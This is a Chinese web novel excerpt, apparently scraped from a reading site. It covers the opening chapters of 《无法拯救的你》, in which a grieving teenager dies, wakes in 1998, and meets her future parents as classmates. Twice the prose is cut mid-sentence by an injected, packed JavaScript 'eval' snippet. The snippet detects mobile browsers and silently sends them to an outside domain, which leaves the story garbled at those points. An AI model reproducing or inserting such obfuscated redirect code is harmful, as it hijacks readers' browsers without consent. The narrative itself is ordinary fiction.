《无法拯救的你》 1. 一九九八 “卓惜这孩子，我们也说了，漂亮，也聪明。可那个聪明劲儿啊，她就是不用在学习上！” “就看这次语文，她前面都接近满分，作文却空着不写？！再这样下去，她还怎么考个好大学？” 面前男人局促抓着衣角，连连鞠躬，嗓子里拼命挤出支离破碎的歉意：“老师，实在…不好意思，我回家，肯定…好好管教…她，给您…添麻烦了。” 旁边靠墙站着个女孩，穿着统一的校服，五官却明显比大部分同龄人要优越一节。不过巴掌大的瓜子脸格外白皙细嫩，杏眼灵动透着机灵，嘴唇是自然健康的嫣红。 说句老天爷赏饭吃也不过分。 可惜怎么看怎么讨巧的一张脸，偏生是个叛逆性子。 男人边道歉，边想拉着卓惜一起，被她灵活一偏，皱着眉往旁边躲。 男人无可奈何，老师见状也叹了口气，语气缓和下来：“卓惜，你马上十七岁是大孩子了，你爸爸一个人带着你也不容易。你要知道，学习不是为老师学的，是为你自己学的。今天先这样吧，回去好好休息，下次考试不许再这样了。” 卓惜面无表情扭头就走。 卓焱先跟老师说了声抱歉，抓着卷子追了上去。 这会儿早已放学，学校里已经没什么人。卓惜在前面走得飞快，还能听见身后不断扯着嘶哑的嗓子喊她名字。 她猛地停下来，回头噼里啪啦一顿说：“都说了不要管我！不要来我学校！更不要在外面喊我名字！” 卓焱脚步慢慢停下。 卓惜看着他这模样，愈发怒火中烧：“还有，你出来为什么不戴口罩帽子，为什么不干脆像平常送外卖一样把自己全裹起来？你就是想让别人看见你这样子，让别人都知道卓惜的爸爸是个怪物，好让所有人都一起嘲笑我是怪物的孩子吗！” 卓焱张了张嘴，扯动着嘴边到左半张脸的狰狞疤痕变得更加可怖。整个脖子的皮像被揉皱的地图，蜿蜒曲折。他的手也不好看，明明才四十岁却已经看起来像六七十岁时的皴老模样。 卓惜眼中泛起泪花，看他沉默着一言不发，狠狠抹了一把眼泪：“卓焱，你就是个废物！孬种！你只会软弱地冲别人点头哈腰，什么都保护不了！” “你不配当我爸！” 卓惜发了狠离开，剩卓焱站在原地沉默不语，许久，摊开被他揉皱的卷子。一张是空白的卷面，另一张是题卷，题卷角落写着作文的要求： 【人们常说“父爱如山”，父亲像一座高大威严的山，父爱像家庭坚实的依靠和港湾……请以“父爱”为主题写一篇文章，除诗歌外文体自选，题目自拟，不得抄袭，不得少于800字（60分）】 空白卷面右上角大大的“0”，像是一种卓惜对他的无声对抗。 正如她所说，他什么也做不了。 他能给她带来的，似乎只有异样的偏见、痛苦。 和被嘲笑。 — 卓惜不想回家，一个人在外面漫无目的地乱晃，隔几秒钟就擦一把眼泪，呼吸都闷堵得慌。 她家庭条件不算优渥，用网上的那句“天崩开局”来说也不为过。 母亲孟沅不会说话，是个哑巴。父亲卓焱以前经历过一场大火，浑身百分之三十的皮肤重度烧伤植皮，夏天甚至都不敢穿短袖，身上全是移植皮肤的痕迹。 而身为他们的孩子，卓惜从小就被人讥讽嘲笑。 哑巴和怪物生的孩子么，自然也是怪胎。 也有人说，她爸爸那么丑，她长得那么好看，指不定她是被偷被拐来的孩子。为此卓惜还在家里大闹过一次，逼得两人带她去鉴定机构做了亲子鉴定给她看。 最后结果显而易见，她确实是卓焱和孟沅的孩子。 她越来越自卑，也可能是老天爷看不下去，叫她开悟了，于是触底反弹。她学会了保护自己，大部分人都是欺软怕硬的，只要她狠起来，别人就不敢再欺负她。 因此打架变成了常有的事，她被叫家长的频率也越来越高。 母亲孟沅以前在一家电商公司做售前售后文字客服，晚上兼职钩毛线织品出去摆摊。父亲卓焱以前是一家水站的送水员，因为生意不景气被开，这几年在跑外卖。 两人的工资放在这个年代不算可观，勉强也还算过得去。他们对自己节俭苛责，对卓惜却毫不吝惜，逢年过节的漂亮衣服鞋子没断过，平日里也有点小钱足够她买零食和出去玩。 卓惜以前对家庭的意见也并没有那么强烈，直到孟沅的去世。 孟沅是下班买菜回家的路上被一个犯困打瞌睡的司机撞死的，那个地方是个死角。司机逃逸，过了好几天人都咽气办葬礼了才被抓到。 那司机家里也不算富裕，加上保险理赔部分，最后一共赔了八十万。 最让卓惜感到心寒的是，因为对方再三下跪央求卖感情牌，她爸签下了谅解书，法院在判刑时对对方从轻处罚了。 对她来说，孟沅是她的一切，是她唯一可以汲取的温暖。她原谅不了那个司机，但更原谅不了卓焱的行为。 因为这件事，卓家父女的关系极速恶化，如今到了身在同一屋檐下却几乎不打照面的地步。 手机在口袋里闷闷震动起来，卓惜摸出来，是卓焱的电话，她果断挂断。 微信里，卓焱也在一条条给她发消息。 【惜惜，对不起，都是爸爸不好】 【你晚自习上到现在还没吃饭吧，我带你去吃你最喜欢的那家烤肉好不好？】 【你生我的气也是应该的，但你别赌气让我找不到你好吗？】 【惜惜，可以回一下消息吗？回家没看见你，我好担心你】 【你生气想要骂我甚至是打我都可以，你别不接我电话也不回我消息好不好？】 “嘁——” 卓惜嗤笑着扭头，抑着快要再次夺眶而出的泪，咬紧嘴巴内侧软肉。 很快丝丝血腥味就弥漫了整个口腔，她才松嘴。 退出卓焱的聊天框，给闺蜜叶淼打电话。电话很快被接起，那头热络嘈杂，听着一片欢喜的模样：“喂！惜惜！” 卓惜胸腔酸楚被强行压了下去，迟疑了一瞬才问：“水水你在哪儿？怎么那么热闹的样子？” 叶淼止不住兴奋：“我哥回来啦！说后面可能要去国外上大学，我们在酒楼给他庆祝呢！怎么了吗？你找我有什么事？” 叶淼的哥哥叶垚比她大半岁，是典型人帅又优秀的别人家孩子，读的也是省里最好的重点学校。这学期去国外做了为期半年的交换生，叶家人骄傲得不行，从那会儿就开始逢人就说。 没想到原来是今天回来。 卓惜不是没有眼力见的人，更何况叶淼是她这么多年唯一的朋友，她现在无心去庆贺，至少也不要当一个破坏气氛的电灯泡。 想到这里，她摇摇头：“没事，本来是想叫你出去溜达一下的，既然你哥哥回来那你们好好吃饭。” 叶淼本来想再陪她聊两句，但卓惜耳尖听到了那边在喊她，就主动挂了电话。 电话挂断，她恰好饿了，抬头发现自己不知不觉走到一家大排档边。外面摆着大大小小的桌子，卓惜随便拉开一个红塑料凳坐下，招了招服务员，点了点烧烤和啤酒。 服务员看了眼她的校服：“啤酒不卖，小孩子家家别喝酒。” 说罢也不管她有没有意见，转头去烤架那边给烧烤师傅报单子去了。 不过过了一会儿，又拿了瓶可乐过来，径直放她手边。 卓惜沉默片刻，还是拧开喝了一大口。密密麻麻的气泡顺着食道滑下去，沿路炸开，她不受控制打了个嗝。 手机再次震动，这次还带上了铃声，她怔愣。 她差点都忘了，今天就是孟沅去世两年的祭日。她特地定了全天的日历提醒，让她别忘记了买香烛和纸钱。 就卓焱那冷血的怪物，这会儿肯定又在跑外卖，等他跑完了，人家店都关门了。 早上因为在上课她就把白天的提醒都取消了，又因为那档事气忘了。好在丧葬用品店这条夜市街街头就有，她跟老板打了声招呼赶紧去买。 买完回来，她点的烧烤都上齐了，可食欲却因为这件事提不起来了。 卓惜心不在焉地吃着，放空出神。 是一道尖叫和掀翻桌子的动静将她强行拉回神的，耳边似乎还有人在说“快跑”“有车”之类的。 她温吞回头，就看见一辆车以极快的速度朝着她撞来。 尖叫，四散，人群哄闹。 卓惜躺在废墟中一口一口的涌着血，她买的纸钱被一把撞飞，洋洋洒洒往下落，像极了那天替孟沅送灵时的场面。 卓惜想，或许也挺好的。 她死了，就可以去陪孟沅了。 …… 手机闷声响动，屏幕跟着亮起。她无力半睁开眼，艰难缓慢地偏头，勉强看清上面的消息。 【惜惜，算爸爸求你，回我一下消息好吗？千万别做傻事啊！】 而后，她彻底失去意识。 熄灭的屏幕再次亮起，微信显示上安静躺着条新发的消息： 【爸爸已经失去妈妈了，真的不可以再失去你了】 - ∞ - “嗬呃——” 卓惜猛地大抽了一口气，惊魂未定地惊醒。 她缓了缓气，突然发现了不对劲。 她靠在狭窄小巷斑驳油腻的墙边，头顶上方传来老式抽油烟机风扇转动的声响。菜香混合着油烟味扩散开来，难闻的气味在这逼仄的角落蔓延，熏得她无处可逃。 她不是在吃烧烤还被车撞了吗？为什么会在小巷子里？ 还有，这是哪条路的巷子？ 印象中，她上一次看到这种油腻又狭窄的巷子都是小学之前的事了。后来区里重新规划建设，老居民楼都陆陆续续拆掉了，就再也没有过这种两个人站在里面都拥挤的小巷了。 她摸不着头脑地想着，撑着墙面爬起来，却摸了一手半干不干的黏油，瞬间恶心地拿湿纸巾出来擦。 正擦着，前面巷口突然出现几个女生叽叽喳喳的声音。紧接着，一群人从外面钻进了巷子，拥挤在一块儿。 她们身上穿着蓝白色校服，就是没好好穿，松垮耷拉在身上，脖子和头上是各种花花绿绿的塑料项链和发卡。 活像一群复古杀马特大军。 仿佛下一秒就会开口唱“I miss you”的那种。 卓惜有点没眼看。 这到底是给她干哪儿来了？还遇到这种审美极品的混混。 有个短发齐肩的女生背对着她，畏畏缩缩侯着肩，校服规矩穿在身上，明显和这几人不是一路的。 而面前围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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教材是蓝边黄白皮的，中间有一个彩印图样，上面用两排红字写着：全国知名重点中学高考模拟试卷丛书。 当然，这些都不是重点。 重点是，最上面一排同样醒目的印着年份：1998年。 一瞬间，她心头涌上极为不对劲的预感。 卓惜不顾礼貌，抢过女生怀里的书，越翻越不可置信，书的尾页一系列信息更让她如遭雷劈： 【出版社：首都经济贸易大学出版社，出版时间：1997-01，版次：1，印刷时间：1997-11……】 “今年几几年？！” 女生被她突如其来的动作吓到，下意识抬起了头：“……1，1998年啊。” 卓惜与她猝不及防地对视上。 她有一张略显圆润的鹅蛋脸，眼睛大而黑，像两颗水灵灵的葡萄，此刻里面写满了不安和茫然。唇紧抿着，像是在犹豫着什么。 卓惜不自觉恍惚。 她曾经还小的时候在卓焱很宝贝的皮夹里翻到过一张照片，卓焱那时告诉她，那是十七岁的孟沅。照片里的她穿着件淡紫色碎花裙，抿唇羞涩看着镜头，恬静而美好。 时间的磋磨让孟沅失去了那一脸胶原蛋白，长出了色斑和细纹，但长相几乎没有怎么变过。 卓惜深吸了一口气，重新翻开书皮第一页，在下面找到了她的名字：孟沅。 不是什么同音字，就是娟秀的“孟沅”二字。 情绪剧烈翻涌起来，她哽咽酝酿半天，才艰难地开口：“你…叫孟沅？” 对面的人仍旧拘谨，思考片刻后，温吞朝她点点头。像是愿意相信她和她们不一样，对自己没有恶意。 卓惜再也抑制不住，泪水夺眶而出，上前紧拥住她：“妈妈……” 眼前的人真的是她的妈妈。 十七岁的妈妈。 — <○> 今天是孟沅祭日，卓焱请了一整天假，早上做完卓惜的早餐之后就出门去买祭品。 回来时，早餐还好好扣在桌上，一点没少。自从孟沅死后，两人关系就恶化陷入僵局，除了要钱，卓惜基本不会和他讲一句话。 卓焱沉默看了会儿冷掉的早餐，拉开椅子坐下吃完。 吃完早餐，他开始清洁大扫除，平常工作忙家里收拾的不太仔细。但孟沅向来最爱整洁，祭日…她总会回家看看的。 一直打扫到了下午才把整个房子包括边边角角全部打扫干净，他特地翻出了孟沅那年提前给他买的新衣，那件外套这两年只有见她的时候他才舍得拿出来穿，又拎着买好的部分祭品和清洁工具先去了一趟墓园。 一边擦着孟沅的墓碑，一边和她说一些话。他很少说话，除了她也没人有那个耐心听，所以每次祭日他都至少会在她碑前待上半天，不拘话题，只是说给她听就觉得心安。 不过今年他进步了，还能情绪平静地阐述着这段时间的种种。去年这个时候他还在买醉，那天好像下了一场雨，他被淋的眼睛都睁不太开。 说着说着，渐渐就有些困倦，最近这个月冲业绩王奖金，他总是从很早跑到凌晨三四点才回家。靠着她，他自己都无意识的眼皮渐沉。 乍醒时天色已经黑了下去，手机有几通老师的未接来电，他赶忙爬起来拍拍身上的灰往学校赶。 墓碑被擦得很亮，衬得照片里人笑容更加温婉。 两边放着的菊花还凝着层水雾，细小水珠顺着垂下的花瓣，滴落在被粗心遗忘的口罩和帽子上。 2. 临禾一中 怀中的人触感格外真实，真实到卓惜一时分不清到底是死后的梦境还是真的穿越到了1998年。 但无论如何，眼前的场景都令她心脏剧烈颤动。 这么想着，她不禁又收拢了些，把孟沅抱得更紧。 孟沅感觉自己快要呼吸不过来了，耳边持续的啜泣和那一声声“妈妈”令她茫然又慌乱，直到这一刻才鼓起勇气拍了拍女孩的背：“你…可以放开我吗？我有点喘不上气了。” 卓惜反应过来，忙不迭松开她，可看着眼前的那张脸，她又有了想哭的冲动：“妈妈，是不是我太想你了才做了这场梦？” 起初孟沅离世，她每天晚上都能梦到她，梦到她哄自己睡觉，梦到她明明那么辛苦还要朝她笑。她是个不称职的女儿，长这么大也没回馈过孟沅什么。 如果这是一场梦，她希望可以做长一点。 孟沅有些害怕，但看她哭的这么伤心，内心有种说不上来的触动。天色不早，她没有时间跟她耗太久，只能说：“同学，你，你可能是认错人了。” 再怎么样，她才十七岁，也当不了谁的妈妈。 卓惜哭着哭着，猛地顿住。 孟沅却更不安了：“如果你没有什么事的话我先走……” 话还没说完，女孩的手就摸上了她的脸，带着一种急切地问她：“你会说话？你能说话？” 她的举动让孟沅彻底慌了神。 这女孩可能精神不正常，再和她待下去不知道会不会做出什么不好的事。 孟沅鼓起勇气推开她的手，快速捡起自己的书跑开。不过跑出一段距离后还是犹豫着回头看了一眼，女孩仍站在小巷中，仿佛被定在那里。 教导主任王途胜已经从那边巡逻了过来，看到了呆呆站在那里的卓惜，似乎在问她什么，还往附近看了一圈。 既然有主任在，应该不会有什么问题。 孟沅压下心底后怕，抓紧离开。 而这边。 卓惜思绪一片凌乱，满脑子都是“妈妈会说话”“妈妈为什么能说话”的不解。 她母亲明明就是哑巴。 难道眼前的人只是一个和她妈妈长得很像的女孩子吗？ 可再像也不至于这么多细节全部都能对应得上。 这一切究竟怎么回事？ 她再次回过神来的时候，眼前出现了个略胖的地中海男人，穿着老气横秋的黑色夹克，里面是件土棕色带条纹的圆领毛衣。架着一副眼镜，板着张脸，大概是看她哭了，先看了一圈才问她：“小同学，谁欺负你了吗？” 卓惜向外张望，已经看不见孟沅的身影。 她妈妈呢？ 她那么大一个妈妈呢？ 她胡乱敷衍两句准备离开去找孟沅：“没人欺负我。” 王途胜却以为她是不敢说，这么想着脸板的更严肃了，语气也凛然：“小同学，你放心，咱们临禾一中绝对不会允许这种欺负同学的恶劣事件发生。如果你知道谁欺负了你，你放心大胆地说，主任决不姑息！” 临禾一中？她怎么觉得这名字有些耳熟？ 卓惜这才有空注意学校的模样，灰色的围墙把校园围得密不透风，外面分成四大块用红色大字刷着：创造、志学、奋进、突破。 等等，难怪耳熟！ 她记得以前小时候乱翻抽屉，翻到过一张孟沅淘汰的旧身份证，上面就写的是临禾区。她记得她好像还问过孟沅那是哪里，孟沅说是老家。 孟沅似乎还带她回过一次临禾。 卓惜猛地抬起头，把王途胜都吓了一跳：“这里是临省临江市临禾区的临禾一中？” 王途胜无语：“不是临禾的临禾一中还能有哪个？” “等等，你不是我们学校的学生，你哪个学校的？” 卓惜得到了肯定的答复，脑子更加乱成一团，她没在意王途胜的追问，扒拉开他的手往外走。 如果这里真的是1998年……那是不是就意味着，她可以想办法阻止未来可能发生的一切？ 如果孟沅不和卓焱在一起，那么她就不会那么早去世。自己也不用出生，不用受尽耻辱嘲笑。 孟沅或许会过上和从前截然不同的人生，一个没有她，没有卓焱的人生。但只要孟沅幸福，她是否存在于这个世界根本不重要。 想到这里，卓惜浑身血液都仿佛开始沸腾翻滚。 即便这只是一场她死后的梦，她也想试一试。更何况如果她真的穿越到了过去，那么，她就可以改写孟沅的人生，改变她的命运。 一阵干冷的风刮过来，卓惜激灵回神，发现自己不知何时走到了一个十字路口。附近来来往往都穿着统一的校服，有人骑着二八大杠从她旁边溜过，街边的小卖铺顶着脏兮兮的半弧形小黄棚。 一切都那么真实。 然后，她猛然意识到了不对劲。 不管是梦还是真实的98年，她根本就不知道孟沅在哪里！ 热血瞬间降温。 苍天啊！连穿越这种超级金手指都给她了，给个回溯剧本过分吗？！过！分！吗！ 卓惜不仅不兴奋了，还有点绝望。 - ∞ - 因着昨天接连碰到的事，孟沅一整天都很谨慎。 好在那群混混并没有来班上找她，那个奇怪的女生今天也没看见。 正这么想着，有人从后面拍了下她的肩，伴随着“嘿”地一声，跳到了她的面前，把她吓了一大跳：“你…你……” 卓惜立刻收敛：“对不起啊，我吓到你了吗？” 孟沅干咽了下口水，温吞摇头：“没，没有。” 她也不敢说有。 面前的女生和昨天不一样了，明显脏了一截的衣服上蹭了不少灰，还被刮破了两处。头发有点乱，像是随手抓在一起，脸上还有一处明显的擦伤，看着像跟别人打了一架似的。 这么想着，孟沅下意识后退了一步。 卓惜再次看到孟沅，努力克制住想哭的冲动，装作什么都没发生似的。 只有天知道她昨天怎么过来的。 无头苍蝇似的到处转悠了几圈，拉着人打听孟沅家在哪，竟然没有一个人知道。好不容易有个人说名字耳熟的，但也仅限耳熟而已了，多的问什么也说不出来。 学校门口的保安也不让她进，看她这身校服以为是什么外校的，说她再闯就要喊警察把她抓起来。 她没办法，又饿了，只能看看能不能找点吃的。 更绝望的来了，这里的小卖铺卖的零食都是她从未见过的便宜，两分钱可以买五颗糖。但她兜里只有后世的人民币，还是最新版的。 她总不可能拿着这钱跟老板说二十年后可以花吧？被打事小，被抓进精神病院事就大了。 后面没办法只能捡几个瓶子准备拿去卖钱，旁边被卓惜手快抢了好几个瓶子的老太太看不过眼，给了她五毛钱让她买东西吃。 她在一家小卖铺买了五毛钱两个的老面包，坐在公园里的长椅上慢吞吞啃了一个，留了一个当今天的早餐。 晚上也是直接在公园长椅上睡的，脱了校服当被子盖在脸上，维持最后一点体面。结果睡着睡着忘记自己睡的公园，翻身的时候不小心从长椅上滚下来了，脸着地刮了一下，火辣辣的疼。 怕错过孟沅，一直在这附近徘徊了好久。刚刚看到她身影出现在视线里时，卓惜心头委屈全冒了出来，又不好和她说，就只能逼自己忍着不朝她撒娇。 这是十七岁的孟沅，还不是她妈妈。 她太冒进会吓着她。 孟沅抱紧自己，不安地看着她：“你…找我有什么事吗？” 她眼中有戒备，唯恐卓惜和昨天那伙人一样，看她好欺负就想找她要钱花，她不会给这种人钱的。 卓惜自然注意到了她的不安，本来想说的话全部都咽了下去，只摇摇头：“我是想问你，昨天那伙人有没有欺负你。” 孟沅松了一口气，看向她时露出点不好意思：“没有。” 原来是她小人之心了，眼前的人不是想欺负她。 “没有就好。”卓惜做了一个决定，拉着她的手真挚保证，“你放心，有我在呢，以后我保护你，保证她们没一个敢找你麻烦！” 打架这事儿她属实在行，跟女生打扯头发，跟男生打就踢裆，快稳准狠，百试不腻。她以前用这招不知打过多少想找她麻烦的人。 孟沅：“……” 她从小到大都没接触过卓惜这类一看就性格乖张的人，对打架这类事情也避之不及，路上碰到都得绕路走唯恐波及自己。 而现在，这个一看打架经验就很丰富的女生居然拉着她的手要保护她？ 不知道出于什么原因，孟沅也不想知道。她只知道，离这种人越远，遇到这种事情的概率也就越小，昨天还是这么多年以来经历的第一次。 旁边有几个高高大大的男生经过，其中一个拿着篮球冲地啪嗒啪嗒拍得起劲。还有一个拿着悠悠球抛出收回抛出收回，熟练的在手里翻起了花。 孟沅收回视线，迟疑着从卓惜手里挣脱：“谢，谢谢你的好意，我，我不需要。” 卓惜有点尴尬。 这时候的孟沅看起来内敛胆小，她有什么话也不好直接说，偏偏肚子在此刻不争气的叫出了声。 好饿。 从昨天到今天她就啃了两个巴掌大的小面包，又在这里干晃了一天，现在有点饿得发昏。 但面前的孟沅无论是穿衣还是气质上都明晃晃地写着“朴素”。 以前要钱都是找她爸要，她也从不讲什么节约，每次都理直气壮的，一要就是几百块。换成妈妈，还是十七岁的妈妈，她实在不知道该怎么开口。 两人驻足之际，那几个男生也在不远处停下了脚步商量着。 其中一个嗓门特大，张嘴周围一圈人都被他吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981490|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引了视线：“三火哥，听说你家新买了个进口大彩电？行行好让我们去你家看电视呗？三木也想看！” 旁边应该是叫三木的人附和到：“是啊焱哥，我也想看。” 被叫yàn哥的男生是手里拿悠悠球的那个，个头也是几人当中最高的。带着股少年人的桀骜和玩世不恭，先是觑了他们一眼，没说同不同意：“你们家不都有电视么？” 大嗓门讨好一笑：“那旧的哪有新的香？而且你家那还是21寸大彩电，听说能看的频道都多呢！我家那小破电视都没几个台，你家不是还有那个DVD机嘛。” 大嗓门捅了两下旁边的三木，三木从校服里摸出一张碟片，大嗓门拿过去：“我俩今儿中午特地去小芳音像租了碟子，发哥的上海滩，之前重映两回一直都没看完呢。” 卓焱啧笑：“你俩合计得明明白白哈？” 叶明鑫装傻：“这不寻思正好周末嘛嘿嘿……” 卓焱也不戳点他了，头歪了歪：“走吧，去我家。” 旁边几人顿时“哦！”出了声，迫不及待互相推搡。 后面却有人边跑边喊：“卓焱！等等！卓焱，等会儿等会儿！” 一行人迷惑回头。 卓惜愣了愣，旁边那人和她擦肩而过，跑到那一行人边上，再次叫出了那个名字：“卓焱，陈鹏喊我问你，明天咱们跟二中有个友谊篮球赛，你要不要上？” 卓焱？！ 是她想的那个卓焱吗？ 卓惜不敢确认。 她看着那个被叫卓焱的男生，身高目测最少也有个一米八三，哪怕穿着如此丑的校服也掩盖不了一身富哥的气质，刚刚旁边那个吵嚷的大嗓门不是还说他家刚买了新的大彩电。 男生的脸放在卓惜这个后世颜控狗的审美来说都是上等的，浓眉大眼精致立体，不输后世明星颜值。 可她爸…烧伤不说，还带点跛脚，家境也完全对不上，她爸明明是孤儿。无论哪一点都和眼前的人对不上号。 睡了一夜冷长椅又饿了两天的卓惜已经彻底凌乱了。 就像孟沅会说话这件事给她带来的巨大冲击一样，她赫然发现其实她对父母的过去一无所知。她不知道父母怎么认识怎么相恋，不知道孟沅原来是会说话的，更不知道卓焱什么时候因为什么烧伤。 她的认知里从来没有这些东西。 卓惜宕机地缓慢收回视线，却发现孟沅视线停留在了那边，像是抓住什么，她问：“你认识那边那群人？” 孟沅不知道她想做什么，犹豫了一下还是点头说了实话：“他们是我同学。” 卓惜心下一定：“那那个最高的，他叫什么？” 孟沅：“卓焱。” 她急急确认：“哪个yàn？！” 孟沅不明所以：“三，三个火的焱。” 明明得到了准确的答案，卓惜仍觉得五雷轰顶，还是正中她脑袋劈的一般。 她看了看眼前的孟沅，又看向不远处的卓焱，心中撼然。 所以，这个卓焱真的是她爸爸？ 所以，爸爸和妈妈高中时就是同班同学？ 眼前的孟沅内敛恬美，还会说话。不远处的卓焱高大帅气，也不是怪物。这样的两个人站在一起一点也不违和，反叫人觉得登对。 可如果是这样，未来为什么会变成那个样子？ — <○> 不知不觉晃到夜深，好像是某条步行街，人头攒动热闹非凡。 卓惜装作若无其事挠着脖子，漫不经心路过堆成尖溢出来的垃圾桶，纠结许久，难以下手。 旁边穿着花马甲的老太太路过她，旁若无人一手提溜着蛇皮袋，一手拿着火钳在垃圾堆里掏啊掏。把那些易拉罐塑料瓶玻璃瓶都掏走，又潇洒利落头也不回地离开。 卓惜犹豫挣扎了几秒，抬脚快步跟了上去。 她可以发誓，这辈子还真没这么鬼鬼祟祟过…… 这叫什么？落魄女高尾随七旬老太？ 光想着文字就感受到了自己的猥…可恶啊！不想了！ 路边长椅角落也有人顺手扔的塑料瓶，卓惜饿的眼前发昏失去理智，也不管什么体面不体面了。仗着年轻灵活手快，抢先一步把那些塑料瓶兜进怀里，还往里侧了侧防止老太太从她怀里夹走。 火钳夹了个空的老太：…… 一路跟过去抢了好几次，老太太终于忍无可忍：“你这小姑娘，跟我老太婆存心过不去哦？” 卓惜有气无力地摇摇头，想哭，不知道是被凶委屈的还是饿的，语气哽咽：“我就是想，捡来卖点钱，饿……” 老太太看她唇色泛白，原本还气势汹汹，一下就歇了火。 最后，卓惜成功拿到了一张紫红色的五毛大钞。拐去小卖部买了两个老面包，找了个公园长椅坐着啃，越啃越想哭。 如果悲伤有度量的话，现在的她眼泪够哭出一个太平洋。 3. 爆点金币 很快，卓惜就没力气思考这些东西了。 眼前陡然形成一片片像素格似的深浅不一交叠错落的黑金色块，陆续闪烁又消散，脑袋一阵重意，脚下也软得快站不住。 卓惜闭眼用力甩了下头，才甩走了眼前冒出的金星。那边已经聊完了，她无暇顾及其他，径直走了过去，伸手把人群中最高的男生揪了出来。 强撑着狐疑上下审视了他一个来回，还记得先确认：“你真是卓焱？” 顿了顿又补了一句：“三个火的那个焱？” 卓焱和身后被落下的一群人都莫名其妙。 他看着眼前女生，长得倒还算漂亮，但是张没见过的脸。这身校服也没什么印象，还像是跟人打了一架似的脏。 她来势汹汹的模样也像极了不良少女挑衅，他也不是没遇到过这种事。之前拒绝过一个隔壁校高一女生谈对象的邀请，转头就被罩着人家的高三大姐头找上了。 卓焱以为她也是，这么想着嫌弃地拍了拍她刚捏过那块袖角不存在的灰，语气也没客气：“你谁？” “你女儿。” 卓惜看他这嫌弃的样儿，也不爽起来，毫不客气地朝他摊开手，抓了抓空气：“爸，爆点金币。” 她已经两年没有正儿八经叫过卓焱爸了，这一声可谓是心不甘情不愿却又理直气壮。 她分得清楚，一个陌生女生找他要钱，和他女儿找他要钱，性质是完全不一样的。她刚观察过了，她和卓焱其实长得还真挺像，尤其是眼型和嘴巴，怎么看都极有说服力。 这话一出口，世界仿佛都安静了。 卓焱冷笑。 哪来的神经病讹钱都敢讹到他头上了？以为叫声爸他就能给？ 旁边众人内心也可谓精彩纷呈。 孟沅更是倒吸了一口凉气。 卓焱脾气不是特别好，卓惜这样的要钱方式也是前所未见，她真怕转眼俩人打起来。 那她是躲还是跑啊…？ 正当孟沅鼓起勇气准备当个路人假装若无其事离开的时候，卓惜余光瞥到了她：“等会儿，别急着走，陪我吃个饭先。” 旁边人视线立刻又都集中到了她身上。 孟沅：“……” “其实我们不……”认识啊。 她略显绝望的想要解释，磨磨叽叽讲了几个字，那边的卓焱终于有了动作。 只见他从兜里掏出一个钱夹子，从里面摸了张百元大钞，面无表情塞进了卓惜手里？声音却忽然放低，周围人只瞧他抬了抬下巴动了下嘴，只有卓惜听清了他说的话：“带她吃点好的。” 这个“她”是谁，自然不言而喻。 卓惜快饿疯了，也没管手里是多少钱，反正够吃饭就成。拿了就转头走，还不忘呛了声：“还用你说？” 她不比他会爱她妈？ 孟沅惊恐万分地被她拉走，甚至来不及替自己找补两句。 等她们走出一段距离，后面的人默默上前，面面相觑。 叶明鑫率先调侃一句：“哦呦卓焱，你什么时候有这么大一闺女了？” 陈北森搓搓下巴：“别说，你还真别说，我刚仔细观察了一下这疯丫头跟焱哥长得还真有点像。” 方浩也伸出了自己的巴掌，学着卓惜毫无底线地说：“爸，爆点金币。” “都滚犊子！”卓焱收回视线，没好气地笑骂他们。 至于他们继续追问到底为什么要给她这钱，他就不说了，只淡淡瞥了一眼：“你们还看不看碟？” 众人：ok，识相闭嘴。 - ∞ - 另一边，孟沅被她不安地拉着走，胡思乱想了一路。 直到卓惜把她拉进了肯乐鸡，她才回过神来。 她知道这家店，新开的，好像是什么全国连锁，里面卖的汉堡薯条贵的吓人。 卓惜看了看前台的单子，种类不算丰富，随便点了一个先吃着再说：“这个香脆鸡腿汉堡套餐来两份。” “一共三十六元。” “给。” 卓惜刚看过了，她手里这张是一百的蓝票。蓝色的百元大钞，还怪新鲜，她没见过。 收了找零，喊服务员先把可乐给她，才转过头随便找了个桌子坐。 这家肯乐鸡不大，小小一间左边摆了三张四人桌，右边贴墙两张小桌。她昨天就想吃，可惜没钱。 把饮料递给孟沅，她吸溜喝了小半杯补充完糖分才若有所思地问：“你跟卓焱熟吗？” 她刚刚脑袋虽昏，却也没错过细节。 她非常确定，卓焱是看在孟沅的份上把钱给她的。 孟沅欲言又止，温吞摇头。 卓惜又换了个问法：“你知道他什么，跟我说说。” 这倒是体现出了被动老实人的好处，卓惜稍微强势一点问了，孟沅再犹豫还是跟她说了自己知道的部分。 卓焱家里是开家具品牌的，家境非常不错，他家的品牌卓越光华都已经开始远销海外，临禾本地更是赫赫有名。 他本人长得帅，大部分时间开朗仗义又大方，朋友有难他第一个出头，还经常请吃零食吃饭，所以班上人缘格外好。运动天赋也强，跑步篮球…打架都不在话下，上个月才拿了区里高校篮球赛第一，可以说除了学习以外样样全能。 老师对他是头疼不已，又爱又恨。 卓惜在听到“卓越光华”这个牌子时忍不住瞪大了眼。 这个品牌可以说是她们华夏家具品牌无人能敌的行业龙头老大，在国内外都很有名气。就是他们打开了东方实木家具在海外的市场，让更多外国人爱上了中式家具。 卓惜小时候很喜欢幻想喜欢的家什么样子，有一年卓越光华的展销杂志上那套全屋定制设计完美戳中了她的心巴。 她还曾吵着闹着要过一套他们平价路线子品牌的定制书桌椅，花了五六百块。 她现在有点凌乱，想不通的事情好像越来越多。 干脆不纠结，纠结没意义。 她对上孟沅视线。 孟沅看她这样，又无措起来：“你，我，我知道的就这些了。” 卓惜要说的不是这个：“你喜欢他吗？” “啊？”孟沅被问傻眼。 卓惜观察了一下，淡定开口：“没事儿。” 现在的妈妈多半不喜欢爸爸，她得想个办法，让他俩以后也别来电。 前台在叫出餐，卓惜起身去端，放到两人面前，示意她吃。 